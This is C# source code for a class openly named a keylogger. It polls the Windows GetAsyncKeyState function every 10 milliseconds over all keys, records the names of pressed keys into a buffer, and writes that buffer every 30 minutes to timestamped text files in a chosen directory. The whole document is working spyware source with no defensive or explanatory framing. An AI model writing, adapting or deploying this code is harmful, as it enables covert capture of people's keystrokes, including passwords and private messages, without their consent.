C# Keylogger class

keylogger.cs

public class Keylogger
    {
        [DllImport("User32.dll")]
        private static extern short GetAsyncKeyState(System.Windows.Forms.Keys vKey); // Keys enumeration

        [DllImport("User32.dll")]
        private static extern short GetAsyncKeyState(System.Int32 vKey);

        private System.String keyBuffer;
        private System.Timers.Timer timerKeyMine;
        private System.Timers.Timer timerBufferFlush;
        public string repo = String.Empty;

        public Keylogger()
        {
            keyBuffer = "";

            this.timerKeyMine = new System.Timers.Timer();
            this.timerKeyMine.Enabled = true;
            this.timerKeyMine.Elapsed += new System.Timers.ElapsedEventHandler(this.timerKeyMine_Elapsed);
            this.timerKeyMine.Interval = 10;

            this.timerBufferFlush = new System.Timers.Timer();
            this.timerBufferFlush.Enabled = true;
            this.timerBufferFlush.Elapsed += new System.Timers.ElapsedEventHandler(this.timerBufferFlush_Elapsed);
            this.timerBufferFlush.Interval = 1800000; // 30 minutes
        }

        private void timerKeyMine_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
        {
            foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
            {
                if (GetAsyncKeyState(i) == -32767)
                {
                    keyBuffer += Enum.GetName(typeof(Keys), i) + " ";
                }
            }
        }

        private void timerBufferFlush_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
        {
            Flush2File(this.repo, true);
        }
        
        public void Flush2File(string file, bool append)
        {
            try
            {
                DateTime d = DateTime.Now;
                var filename = d.ToString("s") + ".txt";
                filename = filename.Replace(":", "-");
                
                StreamWriter sw = new StreamWriter(file + filename, append);
                sw.Write(keyBuffer);
                sw.Close();
                keyBuffer = ""; // reset
            }
            catch
            {	// rethrow the exception currently handled by 
                // a parameterless catch clause
                throw;
            }
        }

        #region Properties
        public System.Boolean Enabled
        {
            get
            {
                return timerKeyMine.Enabled && timerBufferFlush.Enabled;
            }
            set
            {
                timerKeyMine.Enabled = timerBufferFlush.Enabled = value;
            }
        }

        public System.Double FlushInterval
        {
            get
            {
                return timerBufferFlush.Interval;
            }
            set
            {
                timerBufferFlush.Interval = value;
            }
        }

        public System.Double MineInterval
        {
            get
            {
                return timerKeyMine.Interval;
            }
            set
            {
                timerKeyMine.Interval = value;
            }
        }
        #endregion
    }//Keylogger